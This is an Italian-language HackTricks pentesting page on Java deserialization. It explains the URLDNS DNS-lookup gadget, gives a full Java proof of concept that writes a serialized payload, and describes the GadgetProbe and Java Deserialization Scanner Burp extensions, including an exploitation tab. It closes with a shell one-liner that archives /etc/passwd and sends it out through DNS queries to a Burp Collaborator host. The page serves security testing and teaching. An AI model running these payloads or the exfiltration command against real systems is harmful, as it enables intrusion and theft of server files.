Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Richiesta DNS sulla deserializzazione

La classe java.net.URL implementa Serializable, ciò significa che questa classe può essere serializzata.

public final class URL implements java.io.Serializable {

Questa classe ha un comportamento curioso. Dalla documentazione: "Due host sono considerati equivalenti se entrambi i nomi host possono essere risolti negli stessi indirizzi IP". Quindi, ogni volta che un oggetto URL chiama una qualsiasi delle funzioni equals o hashCode verrà inviata una richiesta DNS per ottenere l'indirizzo IP.

Chiamare la funzione hashCode da un oggetto URL è piuttosto semplice, è sufficiente inserire questo oggetto all'interno di una HashMap che verrà deserializzata. Questo perché alla fine della funzione readObject di HashMap viene eseguito questo codice:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

È in esecuzione il putVal con ogni valore all'interno dell'HashMap. Ma, più rilevante è la chiamata a hash con ogni valore. Questo è il codice della funzione hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Come puoi osservare, durante la deserializzazione di un HashMap, la funzione hash verrà eseguita con ogni oggetto e durante l'esecuzione di hash verrà eseguito .hashCode() dell'oggetto. Pertanto, se si deserializza un HashMap che contiene un oggetto URL, l'oggetto URL eseguirà .hashCode().

Ora, diamo un'occhiata al codice di URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Come puoi vedere, quando un URLObject esegue .hashCode() viene chiamato hashCode(this). Di seguito puoi vedere il codice di questa funzione:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Puoi vedere che viene eseguito un getHostAddress sul dominio, avviando una query DNS.

Pertanto, questa classe può essere abusata per avviare una query DNS per dimostrare che la deserializzazione è possibile, o addirittura per esfiltrare informazioni (puoi aggiungere come sottodominio l'output di un'esecuzione di comando).

Esempio di codice payload URLDNS

Puoi trovare il codice payload URLDNS da ysoserial qui. Tuttavia, solo per rendere più facile capire come codificarlo, ho creato il mio PoC (basato su quello di ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Ulteriori informazioni

GadgetProbe

Puoi scaricare GadgetProbe dall'App Store di Burp Suite (Extender).

GadgetProbe cercherà di capire se alcune classi Java esistono nella classe Java del server in modo da poter sapere se è vulnerabile a qualche exploit conosciuto.

Come funziona

GadgetProbe utilizzerà lo stesso payload DNS della sezione precedente ma prima di eseguire la query DNS proverà a deserializzare una classe arbitraria. Se la classe arbitraria esiste, la query DNS verrà inviata e GadgetProbe noterà che questa classe esiste. Se la richiesta DNS non viene inviata, ciò significa che la classe arbitraria non è stata deserializzata con successo, quindi o non è presente o non è serializzabile/sfruttabile.

All'interno di GitHub, GadgetProbe ha alcune liste di parole con classi Java da testare.

Ulteriori informazioni

Java Deserialization Scanner

Questo scanner può essere scaricato dall'App Store di Burp (Extender). L'estensione ha funzionalità passive e attive.

Passive

Per impostazione predefinita controlla passivamente tutte le richieste e le risposte inviate cercando i magic bytes serializzati Java e presenterà un avviso di vulnerabilità se ne trova uno:

Attivo

Test manuale

Puoi selezionare una richiesta, fare clic con il tasto destro e Invia richiesta a DS - Test manuale. Quindi, all'interno della scheda Deserialization Scanner --> scheda Test manuale puoi selezionare il punto di inserimento. E avviare il test (Seleziona l'attacco appropriato a seconda dell'encoding utilizzato).

Anche se questo viene chiamato "Test manuale", è piuttosto automatizzato. Verificherà automaticamente se la deserializzazione è vulnerabile a qualsiasi payload ysoserial controllando le librerie presenti sul server web e evidenzierà quelle vulnerabili. Per verificare le librerie vulnerabili puoi selezionare di lanciare Javas Sleeps, sleeps tramite consumo CPU, o utilizzando DNS come già menzionato.

Sfruttamento

Una volta identificata una libreria vulnerabile, puoi inviare la richiesta alla scheda Sfruttamento. In questa scheda devi selezionare nuovamente il punto di iniezione, scrivere la libreria vulnerabile per la quale desideri creare un payload e il comando. Quindi, premi semplicemente il pulsante Attacco appropriato.

Informazioni sull'esfiltrazione DNS della deserializzazione Java

Fai in modo che il tuo payload esegua qualcosa di simile a quanto segue:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Ulteriori informazioni

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated